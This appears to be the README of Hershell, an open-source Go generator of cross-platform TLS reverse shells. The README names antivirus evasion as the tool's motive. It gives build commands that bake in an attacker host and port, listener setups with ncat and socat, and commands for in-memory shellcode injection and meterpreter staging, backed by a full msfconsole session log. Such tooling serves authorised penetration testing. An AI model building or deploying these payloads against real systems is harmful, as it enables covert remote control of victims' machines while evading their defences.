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https://github.com/lesnuages/hershell

Multiplatform reverse shell generator
https://github.com/lesnuages/hershell

exploit reverse-shell security

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Multiplatform reverse shell generator

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# Hershell



Simple TCP reverse shell written in [Go](https://golang.org).



It uses TLS to secure the communications, and provide a certificate public key fingerprint pinning feature, preventing from traffic interception.



Supported OS are:



- Windows

- Linux

- Mac OS

- FreeBSD and derivatives



## Why ?



Although meterpreter payloads are great, they are sometimes spotted by AV products.



The goal of this project is to get a simple reverse shell, which can work on multiple systems.



## How ?



Since it's written in Go, you can cross compile the source for the desired architecture.



## Getting started & dependencies



As this is a Go project, you will need to follow the [official documentation](https://golang.org/doc/install) to set up

your Golang environment (with the `$GOPATH` environment variable).



Then, just run `go get github.com/lesnuages/hershell` to fetch the project.



### Building the payload



To simplify things, you can use the provided Makefile.

You can set the following environment variables:



- ``GOOS`` : the target OS

- ``GOARCH`` : the target architecture

- ``LHOST`` : the attacker IP or domain name

- ``LPORT`` : the listener port



For the ``GOOS`` and ``GOARCH`` variables, you can get the allowed values [here](https://golang.org/doc/install/source#environment).



However, some helper targets are available in the ``Makefile``:



- ``depends`` : generate the server certificate (required for the reverse shell)

- ``windows32`` : builds a windows 32 bits executable (PE 32 bits)

- ``windows64`` : builds a windows 64 bits executable (PE 64 bits)

- ``linux32`` : builds a linux 32 bits executable (ELF 32 bits)

- ``linux64`` : builds a linux 64 bits executable (ELF 64 bits)

- ``macos32`` : builds a mac os 32 bits executable (Mach-O)

- ``macos64`` : builds a mac os 64 bits executable (Mach-O)



For those targets, you just need to set the ``LHOST`` and ``LPORT`` environment variables.



### Using the shell



Once executed, you will be provided with a remote shell.

This custom interactive shell will allow you to execute system commands through `cmd.exe` on Windows, or `/bin/sh` on UNIX machines.



The following special commands are supported:



* ``run_shell`` : drops you an system shell (allowing you, for example, to change directories)

* ``inject `` : injects a shellcode (base64 encoded) in the same process memory, and executes it

* ``meterpreter [tcp|http|https] IP:PORT`` : connects to a multi/handler to get a stage2 reverse tcp, http or https meterpreter from metasploit, and execute the shellcode in memory (Windows only at the moment)

* ``exit`` : exit gracefully



## Usage



First of all, you will need to generate a valid certificate:

```bash

$ make depends

openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem

Generating a 4096 bit RSA private key

....................................................................................++

.....++

writing new private key to 'server.key'

-----

cat server.key >> server.pem

```



For windows:



```bash

# Predifined 32 bit target

$ make windows32 LHOST=192.168.0.12 LPORT=1234

# Predifined 64 bit target

$ make windows64 LHOST=192.168.0.12 LPORT=1234

```



For Linux:

```bash

# Predifined 32 bit target

$ make linux32 LHOST=192.168.0.12 LPORT=1234

# Predifined 64 bit target

$ make linux64 LHOST=192.168.0.12 LPORT=1234

```



For Mac OS X

```bash

$ make macos LHOST=192.168.0.12 LPORT=1234

```



## Examples



### Basic usage



One can use various tools to handle incomming connections, such as:



* socat

* ncat

* openssl server module

* metasploit multi handler (with a `python/shell_reverse_tcp_ssl` payload)



Here is an example with `ncat`:



```bash

$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234

Ncat: Version 7.60 ( https://nmap.org/ncat )

Ncat: Listening on :::1234

Ncat: Listening on 0.0.0.0:1234

Ncat: Connection from 172.16.122.105.

Ncat: Connection from 172.16.122.105:47814.

[hershell]> whoami

desktop-3pvv31a\lab

```



Here is an example with `socat` (tested with version `1.7.3.2`):

```bash

$ socat `tty` OPENSSL-LISTEN:1234,reuseaddr,cert=server.pem,key=server.key,verify=0

# connection would be initiated here

[hershell]> whoami

desktop-3pvv31a\lab

```



### Meterpreter staging



**WARNING**: this currently only work for the Windows platform.



The meterpreter staging currently supports the following payloads :



* `windows/meterpreter/reverse_tcp`

* `windows/x64/meterpreter/reverse_tcp`

* `windows/meterpreter/reverse_http`

* `windows/x64/meterpreter/reverse_http`

* `windows/meterpreter/reverse_https`

* `windows/x64/meterpreter/reverse_https`



To use the correct one, just specify the transport you want to use (tcp, http, https)



To use the meterpreter staging feature, just start your handler:



```bash

[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler

[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https

payload => windows/x64/meterpreter/reverse_https

[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105

lhost => 172.16.122.105

[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443

lport => 8443

[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem

HandlerSSLCert => ./server.pem

[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j

[*] Exploit running as background job 0.



[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443

[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >

```



Then, in `hershell`, use the `meterpreter` command:



```bash

[hershell]> meterpreter https 172.16.122.105:8443

```



A new meterpreter session should pop in `msfconsole`:



```bash

[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >

[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...

[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100



[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions



Active sessions

===============



  Id  Name  Type                     Information                            Connection

  --  ----  ----                     -----------                            ----------

  1         meterpreter x64/windows  DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A  172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)



[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1

[*] Starting interaction with 1...



meterpreter > getuid

Server username: DESKTOP-3PVV31A\lab

```



## Credits



[@khast3x](https://github.com/khast3x) for the Dockerfile feature